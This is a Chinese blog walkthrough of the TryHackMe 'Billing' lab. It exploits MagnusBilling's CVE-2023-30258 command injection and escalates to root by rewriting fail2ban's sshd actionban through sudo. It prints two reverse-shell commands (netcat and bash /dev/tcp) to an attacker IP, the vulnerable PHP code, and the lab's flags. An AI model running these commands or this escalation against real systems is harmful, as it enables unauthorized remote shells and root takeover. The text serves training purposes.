THM-Billing

本文最后更新于 2025年4月2日 晚上

RCE、sshd、fail2ban

枚举

nmap

nmap 扫描

1
nmap -T4 -n -sC -sV -Pn -p- 10.10.225.254

扫了半个小时,结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Nmap scan report for 10.10.225.254
Host is up (0.38s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 79:ba:5d:23:35:b2:f0:25:d7:53:5e:c5:b9:af:c0:cc (RSA)
| 256 4e:c3:34:af:00:b7:35:bc:9f:f5:b0:d2:aa:35:ae:34 (ECDSA)
|_ 256 26:aa:17:e0:c8:2a:c9:d9:98:17:e4:8f:87:73:78:4d (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/mbilling/
| http-title: MagnusBilling
|_Requested resource was http://10.10.225.254/mbilling/
|_http-server-header: Apache/2.4.56 (Debian)
3306/tcp open mysql MariaDB (unauthorized)
5038/tcp open asterisk Asterisk Call Manager 2.10.6
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

开了 22(SSH),80(HTTP),3306(MariaDB),5038(Asterisk)

80

访问 80 服务,发现了登录框,一个 MagnusBilling 的程序,MagnusBilling 是一个 VoIP 服务器系统,没什么攻击点

dirsearch

用 dirsearch 浅扫一下目录

1
dirsearch -u http://10.10.88.248/mbilling/ -i 200

读取 README.md 发现是 MagnusBilling 7

搜 “MagnusBilling 漏洞” 能找到 MagnusBilling application unauthenticated Remote Command Execution.

访问 http://10.10.225.254/mbilling/lib 目录

利用 MagnusSolution Magnusbilling RCE 反弹 shell

根据漏洞描述,漏洞应该是 magnusbilling 安全漏洞 (CVE-2023-30258)

用的 n0o0b 师傅写的 POC:CVE-2023-30258-RCE-POC

1
python poc.py -u http://10.10.133.205/mbilling --cmd "nc -c sh 10.21.118.213 1234"

谈上了嘻嘻好用捏

1
python3 -c 'import pty;pty.spawn("/bin/bash")'

可以提高交互性

进入 /home/magnus 拿到 flag

1
THM{4a6831d5f124b25eefb1e92e0f0da4ca}

修改 fail2ban 的 sshd 规则组提权

使用 sudo -l 发现

NOPASSWDfail2ban-client,更详细的 fail2ban 提权可以看 Fail2Ban – Linux Privilege Escalation,但 iptables-multiport.conf 没有写的权限。

运行 fail2ban-client 找到

1
set <JAIL> action <ACT> actionban <CMD>

这个命令能够自定义 jailaction ,并且前面发现是 NOPASSWD ,可以执行 sudo 权限

查看 fail2ban-client 的状态,发现了活跃的 sshd

1
sudo fail2ban-client status

读取 /etc/fail2ban 下的 jail.conf 文件发现了 sshd 配置

综上所述,可以修改 sshdactionban 规则来执行 :在封禁 IP 时执行一个反向 Shell 连接,通过封禁本机 IP 127.0.0.1 这一操作触发 actionban ,让反向 Shell 连接生效

1
2
3
sudo /usr/bin/fail2ban-client set sshd action iptables-multiport actionban "/bin/bash -c 'bash -i >& /dev/tcp/10.21.118.213/2233 0>&1'"

sudo /usr/bin/fail2ban-client set sshd banip 127.0.0.1

1
THM{33ad5b530e71a172648f424ec23fae60}

CVE-2023-30258

根据描述 CVE-2023-30258 Security advisory 找到源代码

magnusbilling 的漏洞点 如下:

1
2
3
4
5
6
7
if (isset($_GET['democ'])) {
if (strlen($_GET['democ']) > 5) {
exec("touch " . $_GET['democ'] . '.txt');
} else {
exec("rm -rf *.txt");
}
}

democ 检查字符长度是否超过5,超过后就将字符串传递给了 exec() 函数,并没有经过过滤,所以就能执行任意命令,出现了命令注入

Fail2Ban

一个开源的入侵防御工具,用于防止暴力破解攻击。它通过监控系统的日志文件(如 /var/log/auth.log),检测是否存在多次失败的登录尝试。一旦检测到某个 IP 地址在短时间内发生了多次失败的登录尝试,fail2ban 会自动将该 IP 地址加入防火墙的黑名单,阻止该 IP 地址进一步尝试登录,封禁时间过后会恢复正常访问,如果再次攻击,封禁会再次生效。

关键配置文件

  • fail2ban.conf:配置操作设置
  • jail.conf:主配置文件,用于定义每个程序的 ”jails“
  • jail.local:jail.conf 的扩展,用于启用 jail,通常在更新后保留自定义设置
  • iptables-multiport.conf:负责设置防火墙的操作文件,允许修改以禁止恶意 IP,并根据需要添加和删除

fail2ban 权限提升可以看 Fail2Ban – Linux Privilege Escalation,可惜的是靶机 iptables-multiport.conf 没有写的权限。

对于这个靶机,通过枚举了活跃的 jail 找到了 sshd,然后根据 fail2ban 的使用命令构造 payload 修改 sshd 的规则组

1
sudo /usr/bin/fail2ban-client set sshd action iptables-multiport actionban "payload"

然后执行 ban IP 触发 actionban 逻辑让前面的命令执行

1
sudo /usr/bin/fail2ban-client get sshd banip IP

THM-Billing
http://example.com/2025/04/02/THM-Billing/
作者
butt3rf1y
发布于
2025年4月2日
许可协议